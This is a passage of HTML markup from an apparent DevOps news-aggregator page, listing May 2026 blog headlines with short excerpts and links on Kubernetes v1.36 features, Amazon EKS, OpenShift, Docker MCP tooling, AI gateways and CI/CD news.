              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The session that left no record A kubectl debug session can contain the only direct observation of a failing system state. However, once the session ends, Kubernetes does not retain the termination co</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/18/what-kubectl-debug-doesnt-tell-you-the-silent-evidence-gap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-new-metric-for-route-sync-in-the-cloud-controller-manager" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-new-metric-for-route-sync-in-the-cloud-controller-manager" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: New Metric for Route Sync in the Cloud Controller Manager
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-new-metric-for-route-sync-in-the-cloud-controller-manager"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This article was originally published with the wrong date. It was later republished, dated the 15th of May 2026. Kubernetes v1.36 introduces a new alpha counter metric route_controller_route_sync_tota</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/15/ccm-new-metric-route-sync-total/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-mixed-version-proxy-graduates-to-beta" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-mixed-version-proxy-graduates-to-beta" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Mixed Version Proxy Graduates to Beta
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-mixed-version-proxy-graduates-to-beta"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Back in Kubernetes 1.28, we introduced the Mixed Version Proxy (MVP) as an Alpha feature (under the feature gate UnknownVersionInteroperabilityProxy) in a previous blog post. The goal was simple but c</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/15/kubernetes-1-36-feature-mixed-version-proxy-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-deprecation-and-removal-of-service-externalips" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-deprecation-and-removal-of-service-externalips" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Deprecation and removal of Service ExternalIPs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-deprecation-and-removal-of-service-externalips"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The .spec.externalIPs field for Service was an early attempt to provide cloud-load-balancer-like functionality for non-cloud clusters. Unfortunately, the API assumes that every user in the cluster is </p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-when-ai-agents-become-contributors-how-kubestellar-reached-81-pr-acceptance" class="group relative scroll-mt-24">
        <a href="#h3-when-ai-agents-become-contributors-how-kubestellar-reached-81-pr-acceptance" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When AI agents become contributors: How KubeStellar reached 81% PR acceptance
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-ai-agents-become-contributors-how-kubestellar-reached-81-pr-acceptance"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In mid-December, I started building KubeStellar Console from scratch. It’s a multi-cluster management dashboard for Kubernetes, and it sits inside the KubeStellar project in the Cloud Native Computing</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/14/when-ai-agents-become-contributors-how-kubestellar-reached-81-pr-acceptance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-advancing-workload-aware-scheduling" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-advancing-workload-aware-scheduling" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Advancing Workload-Aware Scheduling
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-advancing-workload-aware-scheduling"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI/ML and batch workloads introduce unique scheduling challenges that go beyond simple Pod-by-Pod scheduling. In Kubernetes v1.35, we introduced the first tranche of workload-aware scheduling improvem</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/13/kubernetes-v1-36-advancing-workload-aware-scheduling/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-maximizing-value-with-amazon-eks-auto-mode-strategies-for-visibility-control-and-optimization" class="group relative scroll-mt-24">
        <a href="#h3-maximizing-value-with-amazon-eks-auto-mode-strategies-for-visibility-control-and-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Maximizing value with Amazon EKS Auto Mode: Strategies for visibility, control, and optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-maximizing-value-with-amazon-eks-auto-mode-strategies-for-visibility-control-and-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we explore how to maximize Auto Mode&#39;s value through comprehensive cost visibility, proactive governance, and continuous optimization strategies. We cover essential cost management dimen</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/maximizing-value-with-amazon-eks-auto-mode-strategies-for-visibility-control-and-optimization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-a-cloud-native-platform-from-the-ground-up-with-kairos-k0rdent-and-bindy" class="group relative scroll-mt-24">
        <a href="#h3-building-a-cloud-native-platform-from-the-ground-up-with-kairos-k0rdent-and-bindy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a cloud native platform from the ground up with Kairos, k0rdent, and bindy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-cloud-native-platform-from-the-ground-up-with-kairos-k0rdent-and-bindy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As we shared in our earlier post on FluxCD, RBC Capital Markets has been on a deliberate journey to modernize our Kubernetes platform. GitOps with FluxCD gave us a solid deployment foundation. But as </p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/13/building-a-cloud-native-platform-from-the-ground-up-with-kairos-k0rdent-and-bindy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-at-uber-with-lucy-sweet" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-at-uber-with-lucy-sweet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes at Uber with Lucy Sweet
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-at-uber-with-lucy-sweet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guest is Lucy Sweet, a Staff Software engineer at Uber and the lead for the Kubernetes Node Lifecycle Working Group. Imagine trying to move millions of compute cores and thousands of microservices to </p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Kubernetes Podcast</strong></p>
<p><a href="https://e780d51f-f115-44a6-8252-aed9216bb521.libsyn.com/kubernetes-at-uber-with-lucy-sweet"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-managing-the-past-and-start-building-its-future" class="group relative scroll-mt-24">
        <a href="#h3-stop-managing-the-past-and-start-building-its-future" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop managing the past and start building IT’s future
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-managing-the-past-and-start-building-its-future"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re continuing to navigate a fundamental shift in digital infrastructure. Over the past 18 months, the predictability of the virtualization layer has shed nearly 20 years of stability driven by an u</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/stop-managing-past-and-start-building-its-future"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hat-partner-ecosystem-a-year-of-expanding-choice-for-virtualized-workloads-on-red-hat-openshift-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-red-hat-partner-ecosystem-a-year-of-expanding-choice-for-virtualized-workloads-on-red-hat-openshift-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat partner ecosystem: A year of expanding choice for virtualized workloads on Red Hat OpenShift Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hat-partner-ecosystem-a-year-of-expanding-choice-for-virtualized-workloads-on-red-hat-openshift-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It has been about a year since the last review of Red Hat’s partner ecosystem for Red Hat OpenShift Virtualization. We&#39;ve had a lot of success in the infrastructure space, including improvements to st</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/red-hat-partner-ecosystem-year-expanding-choice-virtualized-workloads-red-hat-openshift-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-back-up-and-restore-your-amazon-eks-cluster-resources-using-velero" class="group relative scroll-mt-24">
        <a href="#h3-back-up-and-restore-your-amazon-eks-cluster-resources-using-velero" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Back up and restore your Amazon EKS cluster resources using Velero
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-back-up-and-restore-your-amazon-eks-cluster-resources-using-velero"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, you&#39;ll learn to back up and restore Amazon EKS cluster resources and persistent volume data using Velero. You&#39;ll deploy a sample stateful application, back it up, and restore it to a dif</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/back-up-and-restore-your-amazon-eks-cluster-resources-using-velero/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-custom-mcp-catalogs-and-profiles-advancing-enterprise-mcp-adoption" class="group relative scroll-mt-24">
        <a href="#h3-custom-mcp-catalogs-and-profiles-advancing-enterprise-mcp-adoption" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Custom MCP Catalogs and Profiles: Advancing Enterprise MCP Adoption
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-custom-mcp-catalogs-and-profiles-advancing-enterprise-mcp-adoption"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re excited to announce the general availability of Custom Catalogs and Profiles for managing Model Context Protocol (MCP) servers. These two complementary capabilities fundamentally change how team</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/create-custom-mcp-catalogs-and-profiles/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-extending-ai-gateways-with-rust-custom-transformations-in-agentgateway-and-kgateway" class="group relative scroll-mt-24">
        <a href="#h3-extending-ai-gateways-with-rust-custom-transformations-in-agentgateway-and-kgateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Extending AI gateways with Rust: Custom transformations in agentgateway and kgateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-extending-ai-gateways-with-rust-custom-transformations-in-agentgateway-and-kgateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every gateway ships with a set of built-in policies. Authentication. Rate limiting. Request routing. Prompt guards. These cover most use cases. But what about the ones they don’t cover? What if you ne</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/15/extending-ai-gateways-with-rust-custom-transformations-in-agentgateway-and-kgateway/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-counting-to-3-with-a-new-builder-processing-50m-monthly-builds" class="group relative scroll-mt-24">
        <a href="#h3-counting-to-3-with-a-new-builder-processing-50m-monthly-builds" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Counting to 3 with a new builder processing 50M+ monthly builds
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-counting-to-3-with-a-new-builder-processing-50m-monthly-builds"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We replaced our Docker-buildx GCP autoscaler with a fleet of microVM build cells running BuildKit. Here&#39;s what we learned rolling it out.</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Railway Blog</strong></p>
<p><a href="https://blog.railway.com/p/new-builder-scale-big"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nist-narrows-the-nvd-what-container-security-programs-should-reassess" class="group relative scroll-mt-24">
        <a href="#h3-nist-narrows-the-nvd-what-container-security-programs-should-reassess" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 NIST Narrows the NVD: What Container Security Programs Should Reassess
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nist-narrows-the-nvd-what-container-security-programs-should-reassess"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On April 15, NIST announced a prioritized enrichment model for the National Vulnerability Database. Most CVEs will still be published, but fewer will receive the CVSS scores, CPE mappings, and CWE cla</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/nist-narrows-the-nvd-what-container-security-programs-should-reassess/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-docker-ai-governance-unlock-agent-autonomy-safely" class="group relative scroll-mt-24">
        <a href="#h3-docker-ai-governance-unlock-agent-autonomy-safely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Docker AI Governance: Unlock Agent Autonomy, Safely
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-docker-ai-governance-unlock-agent-autonomy-safely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introducing Docker AI Governance: centralized control over how agents execute, what they can reach on the network, which credentials they can use, and which MCP tools they can call, so every developer</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/docker-ai-governance-unlock-agent-autonomy-safely/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-implement-centralized-observability-for-multi-account-amazon-eks" class="group relative scroll-mt-24">
        <a href="#h3-implement-centralized-observability-for-multi-account-amazon-eks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Implement centralized observability for multi-account Amazon EKS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-implement-centralized-observability-for-multi-account-amazon-eks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post shows you how to unify your existing Container Insights and CloudWatch data into a centralized monitoring hub using a hub-and-spoke architecture. You will unify fragmented observability data</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/implement-centralized-observability-for-multi-account-amazon-eks/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-gitlab-act-2-still-an-open-book" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-act-2-still-an-open-book" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Act 2: Still an Open Book
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-act-2-still-an-open-book"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An analysis of GitLab’s &quot;Act 2&quot; transition under CEO Bill Staples, examining whether the company can successfully pivot to an AI-native, agentic software delivery model while dismantling the radically</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/gitlab-act-2-still-an-open-book/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-core-java-vs-enterprise-java-jakarta-ee-spring-boot-2026" class="group relative scroll-mt-24">
